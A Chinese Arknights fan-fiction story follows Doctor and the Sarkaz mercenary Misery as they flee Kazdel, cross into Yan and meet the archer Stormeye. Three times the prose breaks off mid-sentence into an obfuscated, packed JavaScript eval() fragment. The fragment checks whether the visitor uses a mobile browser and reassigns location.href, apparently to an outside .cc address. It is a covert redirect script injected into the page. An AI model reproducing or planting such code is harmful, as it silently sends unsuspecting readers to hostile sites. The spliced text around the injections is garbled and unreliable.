《[明日方舟/Misery博]One Cut Deeper》 1. 00 天灾刚刚散去,残留的源石碎片铺陈在大地上。一身黑色的兜帽人穿梭其间,用小锤子敲敲打打,从刚生成的源石结晶上敲下一些橙黑色碎片。普通泰拉人不敢接近这片被污染过的地区,但兜帽人熟视无睹,径直穿过高大的源石簇,骑上两轮的小车,颠颠簸簸带上一篮子的石头。 荒芜的戈壁,新生的源石山脉蜿蜒如蛇,匍匐在大地上,撕裂开巨大的创口,地面以上几乎没有任何生命活动,空气里弥漫着超量的源石颗粒。 这一趟的收获颇丰,博士心情好哼着歌,沿着来时的路往回走。在数公里开外的安全区域里,还有个萨卡兹在等他。 Misery原本不同意走这条路,沿着天灾走过的脚步,即便经过博士的测算,也未免过于危险。他摇了摇头,从博士手里接过小车。 “我可以去附近的城镇接活。” “然后源石技艺使用过度,让我在被萨卡兹追兵追杀的途中眼睁睁看着你死掉。”博士冷冷答道,他抄起后座的篮子,坐上后座,一只胳膊揽上萨卡兹的腰。 Misery抿唇,有些心虚地拉下袖口,遮住体表源石结晶。 “走吧,在天黑之前我们还来得及赶到下一个镇,这里离大炎不远了,即便是卡兹戴尔王庭军,在这里也鞭长莫及。”博士轻轻侧头靠在Misery的背部,语气缓和了些。 越靠近边境,萨卡兹的身份愈加敏感。博士拎着刚从店里买的兜帽披风,交给Misery。他们的衣服也换成了宽大的本地服装,博士的身体虚弱,只能在防护服外又罩一层。 Misery就要精练许多,贴身的地方用绑带捆着匕首,本就小巧的角藏在兜帽里也不明显。护目镜被收起来了,Misery浅金色的眼睛如蜂蜜一般晶莹剔透,但额头的独眼巨人标志过于显眼,博士为他挑了一条浅色的发带,遮住额头。 他们从不分开过夜,尤其是在旅店的夜晚。往往是博士躺在床上,Misery枕着匕首守在门边。 睡前博士会拿出医疗箱,测试记下Misery的血液源石融合度。箱子里的应急药剂仅剩五支,好在已经足够远离卡兹戴尔,Misery不需要频繁使用源石技艺,矿石病病程也稳定在二阶段,血液源石结晶密度不再上升,本地就能采买到的原料足够制作减缓症状的药物。 Misery看着为他测量身体数据的博士,皱眉说道:“您不必对我这样上心……” 没有护目镜的遮掩,萨卡兹那双清亮又过于柔软而悲伤的眼睛暴露出了全部的情感。他挥下匕首夺走他人性命的一瞬间,也会露出这样的眼神吗? 博士抬头瞥了他一眼,仍然没什么好语气:“把我送出卡兹戴尔,这样你就可以安心送死了?哪有这么好的事情。” “我不是,我没有……”萨卡兹的眼神躲闪。 博士收起卷在Misery手臂上的束缚带,柔软的指尖握上萨卡兹雇佣兵粗糙的手,他翻过对方的手掌,用自己温暖的掌心轻轻磨蹭苍白的手背,与长期握持匕首的修长手指相比,博士的手整个要小上一圈,完全盖不住战士的手,他的手指轻轻蹭过Misery指间的缝隙,痒痒的。 “虽然提出这样的要求非常任性,但是我想要你一直陪着我,Misery,不仅仅是陪我逃出去,我要你陪我活下去。” “我不配。”Misery沉默许久,还是给出了这个答复,“但如果这是您希望的,我会努力。” 入夜以后,博士睡不安稳,他伸手摸上腰侧,那里的口袋里揣着零碎的小物件。他转头看了眼Misery的位置,他那尽职尽责的护卫背靠着墙站在门边,紧闭的双眼和几乎听不到的呼吸难以分辨到底睡着没有。但博士知道他没有,这场漫无目的的逃难旅途上,Misery像一张绷紧弦的弓,把自己逼到极致,生怕哪一点错漏造成无可挽回的悲剧。 以前还在亲卫队时Misery就有过这样的倾向,但那个时候还有特蕾西娅的介入,魔王会打发他到博士身边,给博士做实验打打下手。 和那群五大三粗的雇佣兵不同,Misery生来就细心敏锐,能参与进治愈矿石病的研发中,即便只是做点杂活,萨卡兹也肉眼可见的开心,细长的尾巴左右摇晃,实验室台面永远干净如新,每个玻璃器皿都擦得晶晶亮亮。如果给博士最喜欢的萨卡兹助手拉个排名,那Misery甚至能超越Scout位居榜首。 Scout…… 博士摸进口袋,摩挲静躺在底部的黑色柱形物,侧面的圆形玻璃绽开裂缝,旁边紧挨着还有一块墨绿的菱形宝石。 博士闭上眼睛,黑色视野尽头隐隐约约有个模糊的白影。博士踌躇在原地,没有上前。他没有往前走,白影倒是朝他走来。 断角的萨卡兹仍然挂着那副无奈的笑容,每当博士提出一些无理的要求时,他总会露出这样的神情。 “睡吧,博士,我和Misery都守着你呢。” 他伸出手,又在接触博士脸庞之前退缩,仿佛不忍惊扰脆弱的容器,“Misery他是个悲观主义者,但也仍然是个我认可的萨卡兹战士,请对他耐心些。” “我不是不放心他。”博士撇过脸,“我曾经没办法告诉你的事情,我也没办法告诉他,可是……我在他身上看到了我自己,我,我动摇过,向Misery坦白一切,坦白这些连跟你也没有说过的事情。” “你总是对自己要求太高了,博士,无论你做出什么样的选择,我都不会责怪你的,我相信Misery也同样如此。” “不,你们会恨我。”博士的语气冷了下去,他转身回到黑暗,不顾身后白影的挽留,“你们应该恨我。” 脸上有股温热的感觉,好像谁捧着他的脸拍了拍又捏了捏,博士睁开眼睛,发现自己的面罩不知何时被打开,面前Misery忧心忡忡的表情一览无遗,金色的眼睛在昏暗光线下也盛满了情绪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391766|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> Misery收回他的手掌,有些局促地解释道:“您做噩梦了,我一直叫不醒……情急之下我只能采用物理手段。” “没事。”博士坐起身,揉了揉眉心,“只是身体太疲倦了,导致我睡得太沉。现在几点了?” “才凌晨四点,您还可以多睡一会。” “我睡不着了,陪我说会儿话吧。”博士侧躺在床上,细看的话眼下的乌黑确实减轻了几分,他握上坐在床边的Misery的手。 Misery合上五指,托举着博士的手放到大腿上,他微微弯下腰,语气温和道:“好,您想说些什么?” “就从改你的称呼开始吧,现在不是在巴别塔的时候,我也不是你的上级,不用事事都用尊称。” “但您……好吧,你是我尊敬的人。” “我也尊敬你,Misery,能陪我走到现在,我想我们在曾经的上下级以外至少能以朋友称呼。” “我会尽量改掉的。”Misery的尾巴垂在地上,尾尖不确定地轻摇。 “我不会因为Scout责备你,希望你也不要因此责备自己了。” Misery的身体一僵,他垂下脑袋,像只垂头丧气的小佩洛,“我不确定我能不能做到,博士。我对他的死负有不可避免的责任,如果我当时没有……” “你太小看你的同事了,没有那么多如果,你是恰好出现在那里的最合适人选。”博士偷挠他的掌心,“如果非要有人为此负责,那也是我的过错,是我让你们为难了。” Misery猛烈摇头:“这不怪您,呃,不怪你,我们很多人都知道这样做是不对的,但是我们缺乏勇气,阿米娅出走时Mantra就嘲笑过我们,Touch甚至还指着我们的鼻子骂过。” 阿米娅,一个未曾谋面却感到熟悉的人。博士唯一见到的记载就是那尊纪念她的石像,由双王抚养却不认同双王的道路,以一己之力试图治愈这片大地的伤痕。 也正是在石像下,他第一次见到了Scout,斥候被指派为他的贴身护卫。 “但是阿米娅已经……我不能再做错第二次了。我知道,你是能改变世界的人物,而关在巴别塔里,你的研究只会被困在卡兹戴尔,成为帝国的养料。” “所以你决定帮助我,但却不索取任何回报?万一我跑出去以后就找个小地方躲起来,从此隐姓埋名,再也不研究源石了呢?” “如果是那样最好。”Misery的声音轻轻的,像羽毛一般拂过耳畔,“我宁愿你去过平静的日子,你值得。” “可惜啊,我这种劳碌命,注定放心不下你们。”博士歪头靠在Misery腿边,温热的呼吸打在腿上,萨卡兹还想说点什么,但他留意到博士已经呼吸平稳睡着了。 Misery把薄被往上拉了拉,看着博士毫无防备的睡颜叹了口气,“我还是有私心的,我想一直陪着您,直到您不需要的那天。” 2. 01 越过大炎边境,到了卡兹戴尔也无法染指的地方,他们终于慢下脚步来,像普通旅人那样,在一座座边境城镇穿梭,依靠博士收集的高纯度源石和自制药品筹措路费,严格限制Misery使用源石技艺的次数和强度。 博士从驻边军士手里接过身份文件,有第三方力量的帮助,他和Misery顺利拥有了与卡兹戴尔无关的假身份,以大炎目前的外交关系,至少绝大部分国家通行无碍。 小小的一方卡片上,白发的博士微笑看向镜头,旁边的名字却罗列出几个地地道道的炎国字。Misery的证件照就要拘谨些,他额头的印迹通过某种手段从照片上抹去了。 出于情报渗透的需要,Misery炎国话口语还算过得去,但对炎国文字了解不多,博士为他取的炎国名字更是让他摸不着头脑。小咪是什么?炎国人逗云兽倒是经常发出这种声音。 “二位留步,天师有请。” 处理好身份信息,还没出门就被工作人员拦住。Misery手搭上腰后的匕首,博士冲他摇摇头,跟上工作人员的脚步进了隔壁一道暗门。 “我一接到二位的消息就马上赶来了。”隔间内一人身着低调的灰黑色制服,桌上排开三杯茶水,男人三四十岁的年纪,从头上的角和圆圆的耳朵可以判断应当是个埃拉菲亚,他微微鞠躬,伸手态度恭敬道,“边境实在条件有限,希望没有怠慢到两位客人,请坐。我是本属州的涉外事务天师,叶杜正。” Misery疑惑看向博士,博士倒是非常平静,从善如流落座,端起面前的一盏茶水轻轻摇晃,低头观察杯底的残渣,“客套话就不用讲那么多了,既然大炎摆出了诚意,那我自然应该履行我们的交易。直言吧,叶天师,你们需要我做什么。” “以卡兹戴尔对您的重视程度,本该直接请您去一趟都城,但那样做又和卡兹戴尔有何不同呢?所以,我们的要求很简单,共享您的源石研究技术以及确保您永远不会与炎国为敌。” “我可以共享我的技术,但是仅限于我亲自负责的那部分,大多是与延缓矿石病有关,至于卡兹戴尔在我不知情的情况下利用我的技术进行了哪些额外的武器实验,那就在我的职责范围以外了。”博士从随身的包里掏出一叠手写稿,大多是关于矿石病程的研究,还有最新的抑制剂方案。 当初走得太匆忙,博士没有机会把那些核心实验数据从实验室带走,但仅凭记忆,也能够复原七七八八,在赶路的这几天,他也没闲着,把这些手稿写了出来。 Misery站在博士身后,他的思绪飞向了远处,在双王以及亲卫队的严密监视下,博士又是何时与炎国搭上线的?但那可是博士,能做到这样也不奇怪。 “至于永远不会与炎国为敌……我会以炎国学者的身份游历诸国,我无意涉足政治,这也是我为什么逃离卡兹戴尔,我不为某一政体服务,更没有机会站在炎国对立的一边。” Misery什么都没问,到合适的时机博士自己就会开口,既然博士什么也没说,那也没有他知道的必要。但Misery仍然有那么一点失落,只是一丁点,也许等下一次太阳升起来之时就已经遗忘到记忆的角落里去了。 博士还向天师以补充物资为由要了许多在荒野难以获得的材料,其中有一个环形装置,自从回到歇脚的地方,博士就在一边捣鼓这个。 直到Misery提了晚饭回来,博士才终于如释重负垮下肩膀,朝刚放下打包盒的Misery招招手。环形装置在博士的摆弄下像个花哨的电子手环,而他也让Misery伸出手来,亲自给萨卡兹带上,手环稍微大了一点点,带在瘦削的手腕上显得松松垮垮。 博士一寻思,又把手环拆下来,去掉了一截连接件。这下刚好套在Misery的手腕上,像只普普通通的腕表。 “博士,这是?” “我设计的源石监测手环,不过还只是初版,里面正好可以放下一支应急抑制剂,除了可以实时监测血液源石浓度并发出警告,还能在紧急情况下完成皮下注射——但正如我所说,这还只是初版,需要你自己把握情况,按这个位置完成注射。” 博士翻过Misery的手,指给他看触发按键所在的位置。 “我明白了,这是很了不起的发明,博士,如果这个手环能够推广开来,会改善许多矿石病患者的生活。” “手环制作简单是简单,但最关键的东西不是它,而是里面的抑制剂。”博士摇了摇头。 “你提供给大炎的配方不能够量产吗?” “我给的配方材料虽然简单,但那是需要长期服用,而且避免高危行为才能起到效果的配方,而应急抑制剂不一样,它的制作成本之高和工艺之复杂,以至于至今也仅有那十支而已。”博士拿出盒子里仅剩的应急抑制剂,淡橙色的药剂在玻璃管中流淌,“其中有三支都在你我逃出的路上用掉了。” Misery还记得那股冰凉的液体进入身体的感受。全身源石结晶进入活性化,炙烤着身体的热量几乎要把他整个闷熟,源石这个寄生物在宿主的身上肆意侵占属于内脏的空间,浑身上下的疼痛足以让他头脑发昏。 博士那时正坐在他的怀里,探向他发烫的脸庞,单手环绕过脖子,像半个亲昵的拥抱,然后一点针刺的疼痛,应急抑制剂就像冰川融下的雪水,迅速冷却他的血管,将源石颗粒包裹起来,阻隔其与血液的进一步融合。 也正因为抑制剂的存在,他才得以带着博士冲破包围圈,穿越卡兹戴尔坚固的城墙。 “如果有任何不适可以说出来,这个手环还很粗糙,根据你的使用评价,以后还有很多可以改进的地方。” Misery抚摸腕上的黑色手环,“我很幸运,能第一个使用它。” “以后要仰仗你的地方还多着呢,就当我提前支给你的工资,我最喜欢的小助手。”博士开玩笑道。 “是,博士。即使你不给我开工资,我也会帮你的,只要你不嫌我赶我走,怎样都好。”Misery笑得眉眼弯弯。 “我怎么会嫌弃你呢,在那群麻烦又笨手笨脚的萨卡兹里,你是最省心的一个。”博士在桌子上摊开地图,他们行进过的路线用炭笔画出了一条断断续续的线条,博士指向大炎的西边。“我们还会继续在边境上前进,然后越过乌萨斯,继续往西。” 博士的神情前所未有的神采奕奕,摆脱了追杀的阴影,Misery看得出来,以自由的身份漫游大地才是博士真正想做的事情,博士不是笼中鸟,只有自由才配得上他。 “……然后去拉特兰。” “那里是卡兹戴尔反抗军大本营,你真的想好了吗,博士?” 博士点点头,“我当然要去感谢他们送我的这份大礼,当一个无忧无虑的旅行学者自然轻松愉快,但我欠下的人情债得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391767|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还了。” “卡兹戴尔会彻底视你为敌人……等挫败吞并维多利亚以后,他们就腾得出手来对付你了。”Misery不太赞同道,“大炎精得跟狐狸似的,他们不会插手卡兹戴尔的‘内政’。” “所以我就得仰仗你了啊,Misery,”博士捧住萨卡兹的手掌,“陪我一直走下去吧。” “我也不是万能的……好吧,博士,我答应你。”Misery无奈,“你辛苦了半天也该饿了,饭都凉了,我再去热热。” 二轮车早在高强度的源石辐射下报废了,确定修无可修以后博士还有点可惜。但有了新身份,他们可以直接混进炎国的商队里,坐上驮兽摇啊摇。 博士就像从没出过远门的小孩一样,对什么都很好奇,坐上驮兽,摸着粗糙的兽皮,因新奇的体验高兴得直挥手。 “我听说在雷姆必拓还有一种特有的高脚羽兽,一样可以骑。” Misery偏头回忆了下,“是,以前去雷姆必拓办事,我们基本上都坐过,价格偏贵,没有驮兽稳当,负重也小,但胜在速度快,当地有时还会举办赛跑比赛。” “那场面应该很壮观。” “是啊,只是自从卡兹戴尔打进雷姆必拓以后,这种赛事就已经停了,”另一只驮兽上的本地商人可惜说,“雷姆必拓不像大炎,是一群松散的本地部落,被卡兹戴尔分裂成了好几块,最好的几处源石矿脉都被控制了。” “要我说,还有雷姆必拓自己的责任在,那卡兹戴尔的双王在雷姆必拓考察期间都能被刺客刺杀,还差点得手,你雷姆必拓承受人家的怒火也很正常不过。”旁边的一个年轻人插话道。 一开始的商人嗤之以鼻:“也就你们这种年轻人会信,现如今高纯度源石矿脉各个国家都抢着要,雷姆必拓是怀璧其罪。” 年轻人还想争辩几句,Misery低声向身前的博士询问刚刚那个炎国人说的词是什么意思,博士笑着回答道:“就是你有个宝贝,但是没有力量保护它,别人抢走以后,还要说是你的错。” Misery皱眉,“我明白了博士,我一定会保护好你,不让别人抢走的。” 这下轮到博士惊讶了,他拍拍萨卡兹的手,“我的好Misery,对外我就只是个普通的天灾研究学者,放轻松些,就当是度假了,顺便体验当地风土人情。” Misery收拢了手臂,高大的体型把博士整个圈在怀里,驮兽的步伐平稳,即使驮着两个人也丝毫不费劲,“原谅我,博士,出了上一个城镇以后我总有点不好的预感。” “独眼巨人的天赋?” “不完全是。” 博士不止一次怀疑过Misery的悲观跟独眼巨人的预言总是悲剧有关,但Misery对此的回应是他虽然有着部分天赋,但血脉过于混杂,如果说纯血的独眼巨人能够看到一个完整的画面,而混血的他就只能够听到一两句话,甚至就几个字。 仿佛预言成真一般,最前方领头的驮兽突然停下脚步,烟尘飘落,拦在商队面前的十来个萨卡兹流民持刀对准了商队。商队两侧的护卫冲上前去与他们对峙。 “还有战士的直觉。” Misery的匕首出鞘,他的视线聚焦在劫匪后方一角,那里有个手持弓箭的蒙面人似乎也注意到了他。 “居然沦落到和流民一起抢劫商队了吗,Stormeye。” 3. 02 入夜,火舌舔舐柴火噼里啪啦炸开火星,Misery拿木棒挑了几下没有烧尽的干柴,博士挨在他的左手边坐,而Stormeye在对面削树枝做箭——如果忽视他们身上破烂的衣服和已经包扎过的伤口的话,还是挺和谐的气氛。 “所以——你找我们来就是为了解决这个阿纳萨部落遇到的困难?” “没错,我认得你,卡兹戴尔的头号通缉犯Misery绑架走的源石领域专家。” Misery一脸被哽住的表情,博士笑出声拍了拍旁边萨卡兹的肩膀,“原来我才是被绑架的那一个。” “卡兹戴尔很看重你,就连疤痕商场指名道姓挂出的单子上也要求了务必确保你的人身安全。在最核心的巴别塔任职,要什么没有,除了绑架,我也想不出会有什么其他理由让你离开。”Stormeye说道,“而且如果我在Misery手下救了你,你就只能答应我的要求了。” 这群流民大多穷凶极恶,但他们误判了局势,这支规模不算大的商队护卫里好巧不巧藏着几位州府的人,还用不着Misery出手,对面就快折损过半了。 Stormeye却如风一般消失,几支箭扎穿了周围数只驮兽的大腿,让上面的人和行李都跌落了一地,扬沙遮蔽了视线。 Misery踩上座位,一只手臂夹住博士,从跌倒的的驮兽背上跳下。但紧接着的几只箭直冲他而来,Misery挥出匕首抵挡,虎口被弓箭的力道震得发麻。 他把博士安置在侧倒的驮兽背后,在十几米内铺开源石技艺,一旦有任何方向过来的打击他都能第一时间溯源,迅速折叠与对方的距离,然后一击毙命。 下一波密集的箭雨却从天而降,Misery走到哪箭雨就跟到哪儿,强烈的压迫感宛如被猛兽追踪,附着了源石技艺的箭镞暴风雨般席卷而过封死猎物挣扎的退路,他不得不尽量避开其他人,与博士也拉开了一段距离。 博士老老实实趴在驮兽的背上,受伤的驮兽低声哀鸣,震得博士胸口闷闷的,视线大幅度受限,耳边弓箭和刀剑蜂鸣交错,但他感觉到了有人接近,但还没来得及叫出声就被塞了一嘴的布条,从地上拽起来扛到背上。 几乎不到一秒钟,破空而来的匕首撞上弓身,Misery手握另一把匕首凭空出现,与他身下的神秘人交起手来,他们拳脚相向,让人意外的是两人都双双避免了对博士会造成伤害的动作,Misery凭借灵活的身法和源石技艺的优势拉过博士的手硬生生把他从敌人手里抢了回来。 没有博士夹在中间,两个萨卡兹彻底放开了手脚,神秘人直接把坚韧的高分子材料弓当近身武器,一边格挡Misery突破空间限制从任意方向出现的匕首,一边蓄力抡弓抓Misery撤力的间隙。锋利的金属弓弦宛如索命的死神镰刀割破了Misery的发带,在苍白的脸上留下了丝丝血痕。 Misery的匕首也饮血而归,割伤了神秘人的胳膊,刀上的血槽蓄满了,淅淅沥沥往地上淌。继续打下去两边都讨不了好,另一边的流民已经被护卫杀的杀,跑的跑了,蒙脸的神秘人大势已去,很快就会陷入被围攻的境地。 他似乎也知道这一点,从腰后掏了个东西出来往地上一扔。Misery和他挨得太近被烟尘糊了一脸——真该带上他的护目镜,Misery懊恼地想。 神秘人脸上带的防护面罩起效了,他不受烟尘影响,不顾胳膊上的血流如注,回身捞起博士就跑。 “博士!” 等Misery咳嗽着缓过来,周围哪还有博士的身影。虽然不知道对方的目的是什么,但看起来与卡兹戴尔关系不大,而且对方认识博士,从打斗来看,Stormeye也不是冲着博士的命来的,应该暂时没有生命危险。 Misery捡回落地的另一把匕首,横在还活着的投降流民脖子上,面色阴沉得吓人,“说,他去哪儿了?” 等Misery赶到这群流民的营地时,博士已经和Stormeye非常和谐地坐在一块了。而且除了衣服乱了点脏了点,博士身上没有任何受伤和被束缚的迹象,手里甚至还捧着一杯热茶。 几乎瞬移十几米冲到博士身边确认博士没事后,Misery护着博士危险看向旁边正在给自己打绷带的Stormeye,手背暴起青筋。这回他带上了护目镜,博士看不到他的眼睛,但从紧咬的腮帮和赶路沾上的乱七八糟草叶知道Misery肯定急坏了。眼看Misery又要动手,博士反应过来连忙制止他,他紧紧抱住萨卡兹的胳膊往后扯。 “我不介意和你再打一架,你是个不错的战士。”Stormeye无所谓地低头咬断绷带,“但你旁边那位估计不同意。” “等下,Stormeye没有敌意,他只是……呃,请人的方法特别了点。” 博士学着Stormeye把止血的草药捣碎,再细细敷上Misery脸上和手背的割伤。看博士那小心的样子,Stormeye啧了一声,嘟囔着我们萨卡兹哪有这么细皮嫩肉的,要不是Misery不信任他,他早给Misery几下糊完了。 Misery听了他的话不为所动,乖乖坐在木头上,连尾巴都绕过来放在膝头,仰着脸让博士为他上药,和Stormeye打架时那拼命样判若两人。 Stormeye同样具有这种反差感,只是略有不同。当他脱离战斗以后,他冷静的语气不像是刚刚跟人打了一架,而是跟人出去吃了顿饭一样轻松随意。他在回营地的路上就简略跟博士说明了他们遇到的困难。 Stormeye前些天才混进这群流民里,但他的目的不是加入他们,而是为附近的阿纳萨部落找药和医生,没想到这群流民真的撞大运了,碰上博士这行人,也为Stormeye拖延住了护卫。 “阿纳萨人深信源石是自然的馈赠,矿石病是他们回归大地的一种方式。即使有天灾信使来警告,会有大型天灾生成碾过这片区域,他们也不肯轻易离开自己的部落,除非实在避无可避。” “天灾作为一种自然现象,这样说好像也没什么问题……” Stormeye隔着护目镜瞪了他一眼,博士无所畏惧摊手继续说道:“那你把我请来做什么,总不能是用源石技艺劝他们离开祖辈生活的地方吧。” “不,外人改变不了他们的想法,但是我想请你救一个人,她虽然是阿纳萨人,却和其他的阿纳萨人不同,她很有可能会是未来能够改变阿纳萨的那个人。” “请我救人可以,但我的价格很贵——” Stormeye的太阳穴突突跳,他按捺住了拔刀的冲动,“我的源石锭虽然不算多,但可以全部给——” “不,不用源石锭。” “那你想要什么,龙门币还是卡兹戴尔通用货币?” 博士上下打量他,那眼神看得弓箭手有点发毛,“不用钱,你的身手了得,只需要你此间事了以后护送我和Misery去乌萨斯。” Misery在旁边小声抗议他不用护送,但被博士无视了。 “成交。” 两位萨卡兹是旧相识,博士问起时,Misery却不太愿意提起他俩的过去,倒不是说他们之间有过什么过结,反而是Stormeye全然不在意跟博士直说了。 他曾经是Scout引荐进巴别塔的,但只在巴别塔待过一小段时间就辞职离开了,还走的是正规离职流程,有特蕾西娅的签字批准。 “能在巴别塔任职,你又为什么会离开?” “那里和我想的不一样,我听说了后来的遇袭,即使连Scout这样坚强的战士,在巴别塔也会流干血。”Stormeye可惜道,“我走的时候还劝过Scout呢,这不是他这种人该待的地方,他道德感太重,还不如随我去荒野,想干什么干什么。” Misery全程说话的兴致都不高,尾巴尖沮丧地垂下。Stromeye瞥向旁边低落的萨卡兹:“他也还是老样子,总是一个人在角落里郁闷,也不愿意跟我打架。” “不是每个人脑袋里都装的是肌肉。”Misery少见尖锐回应道。 “那你装的是什么,是担心你现在的新主子会像双王一样抛弃你吗?” “如果不知道什么时候该闭上嘴,Stormeye,我不介意让你躺着给我们指路。”Misery捏着匕首,尖朝另一个萨卡兹手和脚比划,仅需要他一个念头,就能准确扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391768|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进血肉,封锁对方的行动能力。 Stormeye大有跟他杠上的意思:“哼,连博士都保护不好的废物点心,我还会怕你?” “停——你们俩,我不想还没到目的地就得先处理两个矿石病发的萨卡兹。”博士挤到他们中间,伸手在胸前比了个叉,“救人排第一位,记住没?” 两个萨卡兹互哼了一声,别过头去。后半程为了尽快赶路Misery直接背着博士前进,Stormeye也没有再多说什么,越靠近部落他的焦急就越肉眼可见。 等他们赶到时,甚至来不及跟阿纳萨人打声招呼,Stormeye跟领头的点点头,就冲一顶木头和布匹搭建的棚子底下钻去了。 华丽温暖的地毯上躺着个昏迷的少女,阿纳萨属于古萨卡兹的分支,少女头上硕大的角也与萨卡兹没什么区别,旁边站着几位妇人身着繁复的部落装饰为少女祝祷,她们手里的银钵摇得响亮,屋里燃着不知名的熏香,这熏香虽然不知道原材料是什么,但有一种宁静舒缓的作用。 “她叫截云,是这里部落酋长的女儿。” 博士没有丝毫犹豫,直接撩开少女的额发,把手臂从松垮的外套中抽出,拿出医疗箱取出准备的药剂先让她口服。 少女体表露出的源石触目惊心,发烫的源石结晶汲取着她的生命,用仪器测量出的血液源石浓度非常不乐观,如果再不加以干预,顶多再过两三日,这里躺着的就会只剩一堆源石粉尘。 博士朝Misery使了个眼色,萨卡兹心领神会拉着Stormeye一起把那些在旁边的阿纳萨人赶出营帐。 博士看着不多的应急抑制剂,叹了口气,生命的价值固然永远高于死物,阿纳萨人原始的信仰居然真的接近了源石的本质,痛苦的活还是平静的死看似是个单选题,本质上是同一个答案。 “师父……师父……”少女因长期高烧,意识模糊呓语道,“不要走,师父……” 橙色药剂一点一点推入血管,博士留意着她有没有出现不良反应,但好在她的求生意志足够强烈,即使治疗的时间过晚,躁动的源石得到了指令般平静下去,滚烫的额头也渐渐降下了温度,她的命保住了。 阿纳萨人仍然郑重感谢了他们,还送了他们物资和几匹驮兽用来赶路,尤其是对Stormeye,他们几个月前收留这个萨卡兹小伙子时,还没想到这个有点冒失的直肠子萨卡兹居然有一天能救下截云的命。 “你要去哪儿?”告别了阿纳萨部落后,Stormeye随口问道。 “不知道,先去乌萨斯看看吧。” “你和传闻中很不一样。” “我还有传闻?” “卡兹戴尔对你的信息封锁很严,但是那场袭击后,有关你的传言就多了起来。” “比如说?” “你是卡兹戴尔首席源石专家,你一个人就能抵两个师。所以我怎么想都觉得,你应该是个很强大的人,而不是轻飘飘的,抓起来跟羽毛似的。” “博士不是强大在□□,而是强大在头脑和内心。”Misery插嘴道。 “Misery说的对,Stormeye你眼里除了打架还有别的东西吗?”博士无语。 “有啊,还有明天的朝阳在哪里看。” Misery吐槽道:“那不就是流浪的另一种说法吗?” “或许吧,巴别塔曾经给过我一点留下来的念想,但那都已经是过去的事了。”Stormeye看了旁边的Misery一眼。 “我会去拉特兰。”博士突兀道。 “博士?”Misery投来不太赞成的目光,他仍然警惕瞪着旁边的萨卡兹,好像只要对面暴露出任何一点不对劲他就会立刻出手。 “如果你以后没地方可去的话,可以来拉特兰找我。” “去这片大地上最讨厌萨卡兹的地方?谢了兄弟,我还想活久点呢。我又不像Misery那么粘人。” 博士拍了拍Misery的手臂让他不要跟Stormeye一般见识,萨卡兹烦躁得尾巴狂甩,但还是老老实实待在座位上搂着博士。 “但愿你一直如此好运,Stormeye。”博士摇摇头笑道。 4. 03 泰拉的星象混乱,漫天星光编织成一张迷宫,困住旅人夜晚的脚步。Stormeye有额外的辨别方向的技巧,他会捻起泥土嗅闻气息,追踪水源和野兽如同佩洛一般敏锐,也会从树干的年轮疏密判别行进的方向是否正确。 以Stormeye的野外生存能力,博士毫不怀疑他能独自在荒野度过数个月。Misery虽然此前也受过相关的训练,但那种特种兵的生存方式显然不适合博士这种脆弱的身体。 Stormeye对这一带熟门熟路,赶路之余还挑几个本地人严选的景点放松心情,从小小的湖泊到壮观的原始森林,再摘些不知名的果子在Misery不赞同的目光下投喂博士。 “酸酸的,有点甜。” 博士还完全不抗拒,跟Stormeye有说有笑的,Misery郁闷极了,连带着尾巴也无精打采,偏偏博士也好像没注意到,任由Misery那点心思在角落里发霉。 Stormeye对于这位前同事的小九九毫不在意,博士的夸赞和惊讶让他十分受用。可怜的学者似乎一直被关在高塔上,极少接触外界,清晨的雾水打湿羽兽的翅膀,也濡湿了博士的发尾,他会弯下身去一一触碰湿润的草叶,像只好奇的小鼷兽,对笼子外的世界充满了向往。 他们在Stormeye又一个临时营地歇脚,山洞隐蔽避风,地上铺着一层草席,是个过夜的好地方。夜晚的例行检查现在又多加了一个人,Stormeye虽然也是感染者,但不常使用源石技艺,他更信赖□□的力量和技巧,血液源石浓度比Misery低上不少,在不需要药物控制的安全范围内。但博士仍然为他预留了药品,还把药方留在了箭袋里。 “野外独居的猛兽往往更谨慎,毕竟荒野上可不会出现奇迹,天降一个源石专家来救你的命。” 某种程度上可以算是天降的博士笑了笑,专心给Misery调配接下来几天的药。Stormeye在睡前出去一趟确认附近的陷阱设置到位,以免被猛兽或者不怀好意的人接近,现在山洞内只剩下博士和Misery。 萨卡兹挑了块合适的石头磨砺刀锋,那对精致小巧的匕首一直伴随着Misery,博士第一次见他时,就已经贴身带着。 “你最近心情不太好,怎么了,Misery?” “我没事,博士。” 博士的目光落在Misery摇晃不已的尾巴尖上,“你说没事的时候那就十有八九有事。让我猜猜看,你不信任Stormeye,但碍于我对他的态度,你姑且只能忍了下来。” 